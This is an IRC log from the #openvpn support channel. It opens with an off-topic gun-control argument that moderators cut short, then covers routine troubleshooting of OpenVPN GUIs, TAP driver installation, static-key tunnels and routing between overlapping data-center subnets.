19:44 < ancient3> Suterusu: Yes, its an evil and downwards pointing spiral that will lead to more guns. But what if there where stricter checks on whom could get and or carry a gun. Now i know you dont want Psychopaths to have guns for example (I wouldnt).
19:45 < Suterusu> Police can carry 'em, I want better - They've proved to me (generally) they can't be trusted....
19:46 < Suterusu> 'tis 'Gun-free' here in England - But that didn't stop me gettin several as a teen - Every other farmer got at least one shotgun, too
19:47 < Suterusu> Accord to FBI, Over in states, More people die from clubs, bats and hammers than rifles, per yr, Consistently - 'tis hardly an award winning argument "less guns = less gun crime"
19:51 -!- raidz is now known as raidz_away
19:54 < ancient3> Suterusu: But i bet more people can be killed with automatic fire. Especially children for instance ?
19:56 < ancient3> Suterusu: Or do you defend children getting killed at schools so much that you want no change in gunlaws at all ?
19:56 < Suterusu> true - as prev. saids, tho - I phear more to gain not from taking away the assault rifle, but to acrue a state of mind where it isn't considered as an option
19:56 <+pekster> Again, depends on social situation. Guns are a big issue in Mexico now too despite them being effectively illegal for citizens. I'm not saying it's right, but social/pollitical issues are complicated :(
19:57 <+EugeneKay> </politics>
19:58 <+pekster> Hey, I made an offer to help with a VPN problem. On the downside, I'm leaving for the gym in a few minutes, so that offer will be scaling some walls for a couple hours :P
20:00 < ancient3> <Politics> I say that a nationwide, per person reapply, for the use of a firearm is required </Politics>
20:01 < Suterusu> Teh rules will just narrow and narrow until only 'the authorities' are 'allowed' - Like here - A long and slippery slope, the further down you go the more speed you gain, and the harder it will be to climb up
20:01 < ancient3> And they cant atleast be psycho's to get thair gun permits back.
20:01 <+pekster> Play nice, or take it to ##politics. The only climbing I'm doing is at the gym ;)
20:02 < Suterusu> The true psycho's will get 'em anyhay, by illegal means - Or, Just maybe, Build some, Or something better.......
20:03 < Suterusu> When you can punt a LR36 battery onto the horzion, You might as well be walking around with an AA Cannon
20:06 < Suterusu> Besides, The psychopaths aint from what y'should worry....  They typically somewhat lazy. Don't give 'em the reason to expend the energy - They'll do nothing without a reason (you might no be able to see it, or its logic, But there is awlways a reason)
20:06 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
20:09 < ancient3> Suterusu: Yes, and i would say that the reason for them to have a reason (mostly) is there because they feel there is a reason in the first place. Such as people having guns, thair psycho friends having guns and so on.
20:10 < ancient3> There are always means for reversing the displacement of guns.
20:11 < ancient3> I mean, wouldnt it be nice to know that about 90% of all guns in the US where owned by people who are mostly sane ?
20:11 < Suterusu> define sane
20:11 < ancient3> Not clinicly ill.
20:11 < Suterusu> I'm officially defined as insane - But I can wager I'll make more sense than most
20:13 < ancient3> But you are afraid without your gun i take it ? ... How many times have you protected yourself from getting killed with it ?
20:13 < Suterusu> Even the 'most sane' people can be placed in state of mind where (mass )execution seems not only logical, but right.....    Wouldn't it be better to remove the contributing factors to that state of mind?
20:14 < dioz> dumb arguement
20:14 < ancient3> By allowing no control over who gets guns ? No, absolutely not.
20:15 < Suterusu> Anti-Gun law over here.... I do still keep one, but burried some way off -  I've got better things closer t'hand, anyway - The one time I woulda 'needed' it, it woulda just made a mess. There's cleaner ways. Just needa be prepared.
20:16 < ancient3> Suterusu: From what im getting you seem to almost believe in some sort of armageddon style stuff ?
20:17 < ancient3> Suterusu: Not that you have an Ioncannon in your front lawn or anything.. :)
20:18 < Suterusu> I don't discount it - BUt I see the 'holes' in 'society' - I can see the direction things taking - it aint gonna be good. Give it ten yrs, and we'll be in 1984 at this rate.
20:19 <+pekster> Hey, improvement in 2.3.0: tap-windows.exe is placed in the installation path. Progress!
20:21 < ancient3> Suterusu: Thats hard to argue with, but it wont kill you. It will only mean unemployment for a while.
20:22 < Suterusu> no, it'll be worse than death - a life of opression
20:23 < Suterusu> It starts, with deweaponising 'em, 'cause w/o most will be unable to think o a way of fighting back
20:24 < Suterusu> For decades, now, There's bin steady increase in training o military for 'urban combat' - And the rumours n reports of deploying military in your streets getting more frequent
20:24 < Suterusu> Won't be long after its happened over there, It'll want to happen over here.
20:26 < ancient3> Suterusu: Lets take this example: All weapons are illegal to have or bear by citizens. They have all been melted down. Explain why this would be bad for you ?
20:26 < Suterusu> It wouldn't - I have the ability to fabricate
20:26 < Suterusu> lol
20:26 < ancient3> So do i, and many others. Yep, saw that comin'
20:27 < Suterusu> There isn't much I can't turn into a weapon, tbh....
20:27 < ancient3> But for you personally i mean. Are you just scared or do you have enemies that blahblah end so forth ?
20:28 < ancient3> We dont feel that way in our country.
20:28 < ancient3> Have no enemies, have no fear.
20:29 < Suterusu> I'm not 'scared' - But its better to has it and not need it, than need it and not has it - That said, me being me, I piss orf a lotta people - Some enough to try and kill me - no-one seems to be able to manage it. About the only chance they got is a high powered rifle n a lotta distance. And then they better hope it kills me, and either way, want to be running
20:30 <+EugeneKay> Seriously </politics>
20:30 <+EugeneKay> There's ##politics or ##guncontrol for this
20:31 < ancient3> Yes EugeneKay, but this is very interresting and noone else will be chatting for atleast one more hour i think.
20:31 -!- mode/#openvpn [+o EugeneKay] by ChanServ
20:31 <@EugeneKay> I don't care.
20:32 < Suterusu> I agree - Seriously, </politics> -=- Put 'em up against the wall n shoot 'em. Make the next lot watch. Tell 'em: We're watching. Don't screw up.
20:34 < ancient3> EugeneKay: Agreed.
20:38 < ancient3> So, are there any graphical user interfaces for this openvpn thing ?
20:39 -!- widith [~kenneth@li557-200.members.linode.com] has left #openvpn ["WeeChat 0.3.9.2"]
20:39 <@EugeneKay> Many.
20:39 <@EugeneKay> What OS?
20:39 < ancient3> Linux
20:40 <@EugeneKay> Typically the init scripts are used. NetworkManager has a thing, but....
20:40 <@EugeneKay> !ubuntu
20:40 <@vpnHelper> "ubuntu" is dont use network manager!
20:40 <@EugeneKay> It sucks.
20:41 < ancient3> Ive heard that too.
20:41 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
20:42 < Suterusu> Seems t'do it for me - Think using same NetworkManager is used in 'buntu - not 100% on that
20:42 < Suterusu> Can't make it auto reconnect, mind
20:42 <+pekster> Why not just write a couple of bash frontends and put a GUI link in your menu or taskbar of choice
20:43 < ancient3> Im using this one: http://dalalven.dtdns.net/linux/gadmin-openvpn/client/gadmin-openvpn-client-0.1.8.tar.gz
20:43 < Suterusu> I'd rather has it connected, constantly - Its not something I'd want to turn orf
20:43 < ancient3> its for gtk+
20:43 < Suterusu> Ergo, something that should not need turning on
20:45 < Suterusu> Yur, I've played with gadmin suite - I seems to has more options in the network manager what shipped with mint (based on 'buntu) and just as many with this networkmanager (seems t'be gnomes, I'm in KDE)
20:46 < Suterusu> Tho, generally, the gadmin suite is aiight
20:46 < ancient3> Cool, yeah its working for me.
20:47 < Suterusu> As I says, The netwrok manager workin for me... Hasn't given me no problems
20:47 < Suterusu> But spelt better
20:47 < ancient3> Haha, yeah :)
20:49 < ancient3> The netti wrokkie thingy :)
20:50 < Suterusu> Just wish I knew why keep losing connection from me VPN
20:50 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
20:51 < ancient3> Suterusu: Generally a firewall issue. Havnt seen it otherwise.
20:52 < Suterusu> Why'd it be intermittent, tho
20:54 < Suterusu> Can't see nutting in logs for clues, Mosto time I'm r/c before other end knows I'm d/c
20:54 < ancient3> Depends on timeouts of relative inactivity.
20:55 <+pekster> See the description of --keepalive in the manpage (server's timeout is longer than the client's)
20:55 < Suterusu> Shldn't be 'timeouts' or 'relative inactivity' - Was fine the other day....
20:56 <+pekster> Usually it boils down to a generic firewall problem, stateful firewall timeouts, or an agressive DPI firewall. Or prehaps just a connection with some loss on it
20:56 < Suterusu> Seems to suggest isn't settings - More an external influence
20:56 <+pekster> Sure, could be that too. An attacker sometimes tries to induce reconnections if it's a benefit to learn about your traffic, connection, or to perform an active attack such as TLS downgrade or similar
20:57 <+pekster> What's the log say? Discsonnect due to ping inactivity timeout?
20:57 < Suterusu> Question is - how - and more importantly - How does one ocunter
20:57 < Suterusu> Or counter
20:57 <+pekster> Counter what? I gave you a half-dozen options for the cause, and the resolution is different (or impossible) depending on the problem
21:02 < Suterusu> Well, 1'st lets assume an attacker is 'inducing reconnections'
21:03 < Suterusu> How would this be indentified, and or countered
21:05 <+pekster> Use a different ISP, or perhaps wrap your TLS connection inside an openvpn static tunnel so there's no defining protocol handshake. Possibly changing ports if youre using the default (or just changing it even if you're not to something else random)
21:06 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
21:07 < Suterusu> " wrap your TLS connection inside an openvpn static tunnel"    Mind elabourating?
21:08 <+rob0> see the static key howto for OpenVPN 1.x
21:08 <+rob0> it is much simpler than client/server setups
21:09 <+pekster> Set up a static-key based tunnel, then connect your TLS session to the endpoint of that tunnel. You get the benefits of X509 key rotation and DH key exchange (for perfect forward secrecy) without the protocol-identifying traffic in the encapsulating UDP traffic to your peer across the wire
21:10 < ngharo> doing that all-in-one would make for an interesting port of openvpn
21:10 < fu_fu> heh
21:10 <+pekster> I've throught about designing a config generator that would do that
21:11 < fu_fu> hi everyone
21:11 <+pekster> It's tough because most setups have requirements beyond that anyway. Maybe as a 'use this then modify to suit' program, but if you're able to do that you can probably just follow the guides and replace the remote IP with the outer-connection's IP anyway
21:11 < ngharo> right
21:12 < ngharo> i just have a feeling people will be confused on which daemon to do routing on etc
21:12 < Suterusu> I'm already, AFAIK, in a 'static key tunnel', n I'm going over TCP, I think...
21:14 <+pekster> !forwardsecrecy
21:15 <+pekster> !static-key
21:15 <@vpnHelper> "static-key" is when you use --secret, you are using a static key. this is only valid for point-to-point setups. Static keys are less secure in that they never change. If someone captures your traffic, and then gains your static key a year from now, they can decrypt the captured traffic. Setups that use certs re-key every hour by default
21:15 <+rob0> If the static key tunnel is only transporting a TLS tunnel, potential loss of forward secrecy is No Big Deal.
21:15 < Suterusu> Also, not sure, but think I'm in 2.x
21:15 <+pekster> Right, I linked that as a hint to figure out how it's configured right now
21:15 <+pekster> Suterusu: PtP ("--secret" or static key mode) is still supported
21:16 <+rob0> Static key tunnels still work. 2.x is backward compatible.
21:16 < Suterusu> n naw, my keys rotate roughly every hr, cld be ½ hr - So don't think thats what I'm playing wtih currently
21:16 -!- jgspratt1 [~jgspratt@66.162.71.166] has joined #openvpn
21:17 <+pekster> You asked how you could theoretically combat active connection tampering. I offered you a solution based on a foundation that DPI was being used against you
21:17 <+pekster> I know that's not what you're using; I'm offering you high-level solutions based on a guess as to your problem ;)
21:17 <+pekster> We're a few layers down the rabit hole :P
21:18 < Suterusu> I'll fetch the JCB....
21:18 < jgspratt1> I'm pushing these routes to my client, but the client can only get to 10.25.1.101, which is the LAN IP of the OpenVPN server on the server side: http://hastebin.com/tewofigica.rb
21:18 <@vpnHelper> Title: hastebin (at hastebin.com)
21:18 < fu_fu> JCB?
21:18 < jgspratt1> I can ping/ssh to 10.25.1.101, where the server is listening.  I can't get to 10.25.1.102, which is an identical server on the server-side LAN.
21:19 < jgspratt1> Routes on the client side show this: http://hastebin.com/ruqafecuni.php
21:19 <@vpnHelper> Title: hastebin (at hastebin.com)
21:19 < Suterusu> Big yellow digger
21:20 -!- ancient3 [~Rockminto@c83-253-113-227.bredband.comhem.se] has quit [Quit: Sheeping.]
21:20 < fu_fu> has anyone installed additional TAPs on Win2008_r2(AWS); i have tried devcon and tapinstall (with addtap.bat) and it wont work
21:20 < jgspratt1> The "10.24.0.0       10.24.9.5       255.248.0.0" line is sending stuff to the tunnel on the client all right, but it isn't making it to the lan on the server side.
21:20 < Suterusu> Glancing over tht static key how-to - I understand how to impliment that, But Don't see how to embed my 'existing' connection inside. prolly me being thick - What am I missin?
21:21 <+rob0> jgspratt1, routes must be bidirectional. Does 10.25.1.102 know to reach the VPN clients through 10.25.1.101?
21:21 < jgspratt1> That's like, that's a good point.
21:22 <+rob0> Suterusu, first bring up the static key tunnel. Then direct your TLS tunnel through the VPN (using --remote on the client side.)
21:22 <+rob0> --remote static.key.VPN.IP
21:23 <+pekster> jgspratt1, there's a handy flowchart for connecting VPN clients to a server-side LAN like that:
21:23 <+pekster> !serverlan
21:23 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
21:23 < jgspratt1> rob0: how can I fix this?  I have lots of hosts on my server side that I don't want to reconfigure.  could I take the gateway server and point 10.0.0.0/24 back to 10.25.9.2 ?  Server routes: http://hastebin.com/jefunuheca.vala
21:23 <@vpnHelper> Title: hastebin (at hastebin.com)
21:23 <+pekster> fu_fu: Use the 'tap-windows.exe' installer you get after a 2.3.0 installation
21:24 -!- paccer [uid4847@gateway/web/irccloud.com/x-vuswusbhbetuhopr] has quit [Quit: Connection closed for inactivity]
21:24 < Suterusu> And where'd I type that??  So, Impliment then use the static key'd tunnel, Then attach to the VPN again?  Meaning two sets o config?
21:24 <+pekster> fu_fu: That utility used to be in the 'openvpn\bin\' path of your install, but that's no longer the case as of 2.3.x (including the _rc releases.) Just install the tap-windows.exe installer over the existing install and be sure to install the 'TAP Utilities' (not checked by default) during install
21:24 < fu_fu> i will try that i have not seen it, do i have to unpack the exe installer for OVPN?
21:25 <+pekster> fu_fu: You can do that too if you'd like; use 7-zip and look in the .\$TEMP\ path of the primary installer
21:25 < fu_fu> nice, that could solve my some issue nicely , thanks
21:25 < ngharo> Suterusu: yes
21:25 <+pekster> Yes, I'm milidly annoyed the devs removed that feature in a default installation
21:25 <+pekster> It's not hard to get back, just a hassle for anyone who needs >1 connection for any reason
21:25 < jgspratt1> rob0: ah. the "add a route to the router..." step.
21:26 <+pekster> Not like 2 batch files are a huge strain on the system either. Meh
21:26 < fu_fu> lol
21:26 < jgspratt1> rob0: that's a NAT policy in a SonicWALL, right?
21:27 <+pekster> You shouldn't need NAT unless you don't want (or are unable) to route between the LANs
21:27 <+pekster> Your default gw on the server-side LAN needs to know how to reach the virtual VPN network, otherwise traffic can never get back. Relevant firewalls also need to allow such traffic
21:28 < ngharo> jgspratt1: i think youre looking for "static routes" in a sonicwall
21:28 <+pekster> fu_fu: I don't know about the 32-bit version, but a default 64-bit install of openvpn 2.3.0 provides me with a '<install-path>\bin\tap-windows.exe' file (same one that's in the installer package at .\$TEMP\tap-windows.exe)
21:29 < fu_fu> pekster, great i will check it out in a few
21:30 < ngharo> pekster: ohh 2.3 has the tap installer stuff back?
21:31 <+pekster> Not really, it just "provides" the installer in the \bin\ path
21:31 <+pekster> I really wish it would give you the stupid utilities
21:31 < ngharo> what good is the installer without the .sys and crap
21:31 <+pekster> No, you get a single TAP-Win32 device
21:32 < ngharo> oh ok, right
21:32 <+pekster> If you want more, or want to run the delete-all batch script, you need to install over itself with that optional feature (ie: the 2 batch scripts) installed. Or copy the batch files over from a 2.2.x install where they were provided by default
21:32 < ngharo> arghh :)
21:32 <+pekster> The actual drivers changed between versions (f.eg: to support IPv6, so you need the new stuff if you want any of the new features.)
21:33 <+pekster> It might be an oversight since the utilities are "optional" - if the nsis script just does a silent "default" install of tap-windows.exe it could be a mistake. Or a way to get you to pay for the non-FOSS version to do "fancy" stuff, I dunno. I couldn't find the .nsi files in a quick look through SVN
21:33 <+pekster> I need to check again and file a bugreport when I can find the files to patch. The project's been split in a couple different github projects. That's ultimately good, but I don't know where half the files are anymore ;)
21:34 < ngharo> yeah i found on github last i looked
21:34 < ngharo> lemme go find it again
21:34 <+pekster> It's lower priority to me since I have a workaround
21:34 <+pekster> Oh, the .nsi source for the openvpn project? (not tap-windows, since that installer is called *from* the openvpn installation)
21:34 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has left #openvpn []
21:35 <+pekster> If you have a link handy, I'll definitaly take it as it'll save me time hunting. I did a quick trunk checkout and didn't see it in a quick search, so maybe the buildsystem creates it? I don't have the MS VS IDE crap, so that may be non-trivial for me :\
21:35 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
21:35 < ngharo> pekster: ok, nope.  You're right.  It was the tap-windows one that I saw
21:35 <+pekster> Yea
21:36 <+pekster> I need to dig, because it's not really in the spirit of the GPL to hide key build components like that :\
21:36 <+pekster> Hopefully just an oversight
21:36 < ngharo> yeah, maybe i'll see if I can have a buddy build the msvc project
21:36 <+pekster> But, at least the fix is now sitting nicely in the installed file path ;) As I said earlier, "progress" :D
21:36 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has left #openvpn []
21:36 < ngharo> see what it spits out
21:37 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
21:37 < ngharo> cheers to progress
21:37 <+pekster> Sure, that'd be cool. If he does, have him zip/tar/xz/whatever the result and post it somewhere
21:37 <+pekster> I'd love to do a file-based diff on source vs completed build
21:37 < ngharo> will do
21:37 <+pekster> I know how Linux/Unix builds work, not so much Windows ;)
21:39 <+pekster> I tried building a small project (just a few source files) and it was designed for the MS VS; there was some crappy command-line "freebie" alternative MSFT provided, and it was a huge pain to build it, bad error messages, etc. And that was just a proof-of-concept exploit I was testing for internal security 2 jobs ago. Apparently not paying for Visual Studio isn't the "rigiht" way to go :(
21:39 <+pekster> </anti-MS-rant>
21:41 < jgspratt1> ngharo: should I get this: pinging from server side to client side: http://hastebin.com/pugicenuta.coffee
21:41 <@vpnHelper> Title: hastebin (at hastebin.com)
21:45 < ngharo> probably not
21:47 < jgspratt1> ngharo: what should I probably see?
21:47 < ngharo> ping reply :)
21:47 <+pekster> Most (securely) configured systems these days won't follow ICMP redirect messages. What is that 10.24.1.1 host? If it's something upstream of the server LAN you likely have a misconfiguration on the LAN's gateway. If it's on the client-side path, maybe the route wasn't pushed?
21:47 <+pekster> Of course, you should already have pushed the route to the client properly if you followed that handy flowchart ;)
21:48 < jgspratt1> yep, the client has the route
21:48 < fu_fu> is this wrong? from the new readme post installation: file locations notice
21:48 < fu_fu>     C:\Program Files\OpenVPN\config (32-bit Windows)
21:48 < fu_fu>     C:\Program Files (x86)\OpenVPN\config (64-bit Windows)
21:48 < jgspratt1> 10.24.1.1 is the sonicwall
21:49 <+pekster> fu_fu: Looks right for a 32-bit install on a 64-bit installation. I use D:\Apps\ for all my installs, so that's wrong anyway for me ;)
21:49 <+pekster> See the output of the 'set' command in cmd.exe for details
21:50 <+pekster> jgspratt1: Then you need to fix that sonicwall device so it's correctly routing the traffic, not spitting back an icmp-redirect to the source
21:50 < jgspratt1> pekster: if I see " inet addr:10.25.8.1" on the server on the 10.25 side of things, should my route in the sonicwall take 10.0.0 to 10.25.8.1?
21:51 < jgspratt1> Right now, I have the "gateway" for 10.0.0 traffig going to 10.25.8.1
21:51 <+pekster> The route on the server-side LAN's default gw (your sonicwall I think?) needs to route the VPN network via the IP of the VPN server
21:52 < jgspratt1> pekster: which IP of the VPN server?
21:52 <+pekster> The one on the same network segment; gateways are always on your local network
21:53 < jgspratt1> server: http://hastebin.com/bocefawoto.sm
21:53 <@vpnHelper> Title: hastebin (at hastebin.com)
21:53 < jgspratt1> They are both on the same network segment: 10.25
21:53 <+pekster> You can't do that
21:53 < jgspratt1> I'm assuming tun0, but I've been wrong before
21:53 <+pekster> Put your VPN in a non-conflicting IP range
21:53 < jgspratt1> Why not?
21:53 <+pekster> It doesn't work
21:53 <+pekster> !tcpip
21:53 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
21:54 <+pekster> How the heck does the routing table know "which" 10.25.8.1 to use? Is it the VPN IP with that address, or the LAN device?
21:54 < jgspratt1> It won't conflict.  I've mapped 10.25.8.0/24  as the VPN.
21:54 <+pekster> Yes, it will, because that network is a *part* of 10.25/16
21:54 <+pekster> Don't do that. Thta's the reason things are broken
21:55 <+pekster> It's as if you had 2 blocks both called "First" street in a city. Even if one block only goes for 20 feet and has a single house, how does the post office know "which" house to deliver a package to if there are 2 houses both called "500 First Street" ?
21:55 < jgspratt1> Ok, my bad.  The sonicwall VPN works that way, so I assumed...
21:56 <+pekster> The device didn't do anything; someone configured the VPN and network information to use those addresses ;)
21:56 < jgspratt1> Ok, so the entire east coast IP range is 10.24.0.0 thorugh 10.31.255.255.
21:57 < jgspratt1> What IP range should I assign to the OpenVPN?
21:57 <+pekster> I can't speak to the rest of your setup. Just don't use overlapping networks on any device that is within the routing scope of your usage
21:57 < jgspratt1> How is the sonicwall supposed to know how to route traffic to an IP that isn't on one of it's interfaces?
21:58 < jgspratt1> If 10.24.1.101 comes in and asks to go to 10.0.0.10, I need it to go to the OpenVPN somehow.
21:58 <+pekster> By adding a route. That link I had the bot paste above is a good place to start if you don't understand basic TCP/IP routing
21:59 < jgspratt1> Which interface to I put the route's destination on?
21:59 <+pekster> What is 10.0.0.10? The link you showed me isn't the OpenVPN server you're talking about?
22:00 < jgspratt1> Some of the links I showed you were.
22:00 < jgspratt1> 10.0.0.10 is on the 10.0.0.0/24 network: west coast data center
22:00 < jgspratt1> 10.24-10.31 is east coast
22:01 < jgspratt1> I'm trying to bridge the east and west coast datacenters.
22:01 <+pekster> That last link, at http://hastebin.com/bocefawoto.sm, shouldn't be overlapping networks like that. Put your PtP links on a non-conflicting network, and add route statements at either end to route to the range(s) accessible at the opposing via the IP of the pper
22:01 <@vpnHelper> Title: hastebin (at hastebin.com)
22:01 <+pekster> Besides firewalls, that's all you have to do
22:02 < jgspratt1> What interface should I make the route go to?
22:02 <+pekster> Your tun interface. OpenVPN takes care of that for you
22:02 <+pekster> 'route $remotely_accessible_network $remote_netamsk'
22:02 < jgspratt1> On the SONICWALL X3, for example, is 10.25, which is where the 10.25.1.101, the physical server hosting the openvpn.
22:02 <+pekster> Do that for any ranges you need, and you're done
22:03 < fu_fu> pekster thanks for the addtap help, i'm stoked
22:03 < jgspratt1> Good ol' 10.25.1.102 doesn't know how to get to 10.0.0.10, so he sends packets to his gateway, 10.25.1.1.  Which interface should the gateway forward those packets to?
22:03 < fu_fu> are there issues with running TAP links and TUN links with the same windows service?
22:04 <+hazardous> 10.0.0.1?
22:04 < jgspratt1> pekster: those routes are working on the client, exactly.
22:04 < jgspratt1> hazardous: an ip address is not an inteface
22:04 <+pekster> The IP is on an interface that the kernel knows about
22:04 <+pekster> You don't route "to an interface"
22:04 <+pekster> You route to an IP that is turned into a L2 MAC address via ARP (at least on Ethernet/TCPIP networks)
22:05 < jgspratt1> In the sonicwall routing, I need to add an interface
22:05 < jgspratt1> and I know for a fact this was working before I moved this datacenter
22:05 <+pekster> Then type 'ifconfig' or 'ip addr show' or whatever sonicwall's command is to show you interfaces and figure out what interface it's on
22:05 <+pekster> It's really not hard
22:06 < jgspratt1> pekster: but I am being told to put the IP of the openvpn server outside of the ranges that are actually on my network.
22:06 <+pekster> Forgive me if this sounds like it's not going anywhere, but you're asking very, very basic networking questions that you should really already know before configuring OpenVPN in a complex network topology like this
22:07 < jgspratt1> Let's use examples.  say I use 10.28.1.1 as my openvpn server address, which I haven't used any of yet.  How could the sonicwall route to that?
22:08 < fu_fu> show interface info or show interface details
22:08 <+pekster> That's just a virtual address. The device needs a physical address
22:08 <+pekster> You route to the address on the physical link
22:08 < jgspratt1> fu_fu: I know all my interface details by heart.
22:08 < fu_fu> right on
22:08 < jgspratt1> which one do you want to know the details of?
22:09 < fu_fu> i'll stay out of it
22:09 <+pekster> I can't really help you if you don't understand how to identify the local IP of a server on your LAN as the target of a route command
22:09 < jgspratt1> are you serious?
22:09 < jgspratt1> you think I make six figures doing networking and I don't know how to ID an IP?
22:10 <+pekster> "what interface do I use?" Seriously?
22:10 <+pekster> You use the interface of the LAN that that IP is reachable on
22:10 <+pekster> I don't give a crap where you work, how much you make, or where you got your degree. Your server-side LAN's remote gateway needs a route that sends traffic BOUND FOR your remote network ranges *via* your VPN server's IP on that LAN
22:11 < jgspratt1> Makes sense to me, sure.  Now, give me an example IP to use for the server that won't conflict.
22:11 <+pekster> Is your network all a subset of 10/8? Just use 172.29.0.1 and 172.29.0.2. Done. Now they don't conflict
22:11 <+pekster> Next problem?
22:12 < jgspratt1> Tell me what rule to write in my sonicwall gateway please
22:12 <+pekster> The gateway where, on the server-side LAN?
22:12 <+pekster> The LAN you're trying to expose?
22:12 < jgspratt1> server-side, east coast
22:12 <+pekster> No clue what 'east coast' is. I've seen a single config file
22:13 < jgspratt1> It's on the 10.25 (X3) network.
22:13 <+pekster> Do you mean how to add a route on 10.25/16's default gateway for the remote network? This 10.0.0.0/24 ?
22:14 < jgspratt1> Right.  I tried saying 10.0/24 goes to 10.25.8.1 on X3, but clearly that was wrong.
22:15 <+pekster> 'ip route add 10.0.0.0/24 via 10.25.1.101'
22:15 <+pekster> That's after you fix your conflicting networks, of course
22:15 < jgspratt1> So, the OpenVPN is accepting packets on its eth0, not its tun?
22:15 <+pekster> The HOST is
22:15 <+pekster> !tcpip
22:15 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
22:16 <+pekster> !101
22:16 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
22:17 <+pekster> I don't really think it's fair that I'm doing your basic networking homework for your company and not getting paid for it
22:17 < jgspratt1> I'm assumed tun0, but I've been wrong before
22:21 <+pekster> fu_fu: Sorry, missed your question in this mess. What do you mean running a tun and tap in the same service? You mean having the service start 2 separate configs, one using tun and another tap? Sure, nothing wrong with that at all
22:22 <+pekster> Personally I prefer having more direct control over each process so I can restart/signal them independent of each other, but if you don't need such a feature, the service can manage them both "at once" for you as a master start/stop switch
22:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
22:22 -!- mode/#openvpn [+o krzee] by ChanServ
22:23 < fu_fu> i prefer starting them as a daemon, but i need to be able to logoff and the daemon logs off as well, maybe I should set up some scripts for them or making my own services
22:24 < fu_fu> i like to see the running logs on screen  too, wish there was a management inteface of some sort, with multiscreens and fancy junk like that
22:25 <+pekster> There is a management interface ;)
22:25 <+pekster> !management
22:25 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
22:25 <+pekster> You can also just log to a file and read that if you only care about the logs
22:26 <+pekster> Otherwise just use the standard OpenVPN-GUI tool if you want a tray icon that lets you start them as you need and terminates them on logoff
22:26 <+pekster> Or write your own scripts. Plenty of options ;)
22:30 < fu_fu> so the service can start client and server scripts at the same time? just checking before i start a new design
22:30 <+pekster> fu_fu: Yup. See: http://openvpn.net/index.php/open-source/documentation/install.html?start=1
22:30 <@vpnHelper> Title: Installation Notes - Installation (Win32) (at openvpn.net)
22:31 <+pekster> Your 3 basic options are: 1) OpenVPN-GUI, 2) via command line (or an app/script you write that calls the command directly,) or 3) system service
22:31 <+pekster> Each are outlined there
22:34 < jgspratt1> pekster: as much as I try, I still get that redirect host message when pinging.
22:34 < jgspratt1> I'm using your address scheme, but I don't seem to get a reply
22:35 <+pekster> I no longer care. You've clearly made a routing mistake somewhere, which isn't surprising given your prior problems overlapping networks and having problems understanding how routing works
22:35 < jgspratt1> 10.25 -> 10.0 network gets redirect host (sonicwall is saying that), and 10.25 <- 10.0 only goes to 10.25.1.101, not, for example, .102
22:35 < fu_fu> cool thanks, i have read these but i am used to windows lately, they tend to leave out what you can NOT do in the docs. i try to ask my goal specifically for this reason. nothing i have yet seen with a few weeks dealing with OpenVPN indicates the same issue tho. Kudos
22:37 <+pekster> fu_fu: Sure. All 3 systems work, and you can configure them to do what you want. Pick one that seems to best meet your needs, then modify it to suit your specific purpose. No way to launch openvpn is "wrong", but some might be more work for your particular end-goals
22:38 < jgspratt1> Well, for anyone who does care to lend a hand: Here are my routing tables on the client and server: http://hastebin.com/gadalaxelu.vala
22:38 <@vpnHelper> Title: hastebin (at hastebin.com)
22:39 < jgspratt1> I'm trynig to get 10.0.0.10 to go to the tun and then to 10.25.1.102 (and then back).  I'm afraid that the "and then back" is the problem.
22:39 < jgspratt1> 10.25.1.101 knows to send things "back" to 10.0/24 via it's openvpn, but .102 doesn't.
22:40 <@krzee> understand this well:
22:40 <@krzee> !route
22:40 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
22:40 < jgspratt1> I tried to set the Sonicwall to route stuff headed to 10.0/24 to go to the listeinng 10.25.1.101, where the "local 10.25.1.101" I sset.
22:41 < jgspratt1> allright, give me some minutes to read that.
22:44 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
22:45 < jgspratt1> "The answer is iroute!" --this makes sense to me, but I know for a fact (via Github) that this was never in the server.conf file although we are client-to-client.
22:48 < jgspratt1> is the "common name" the hostname?  trying to figure out what to call the ccd/ file
22:48 <@krzee> common-name is whatever you made it when making your certs
22:50 < jgspratt1> ah, right
22:58 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
23:01 < jgspratt1> krzee: ok, I setup iroute
23:02 < jgspratt1> http://hastebin.com/rumifebina.hs
23:02 <@vpnHelper> Title: hastebin (at hastebin.com)
23:02 < jgspratt1> That file should be sent to the client.
23:02 < jgspratt1> However, machines on the east coast still cannot get back to the west coast
23:02 <@krzee> !clientlan
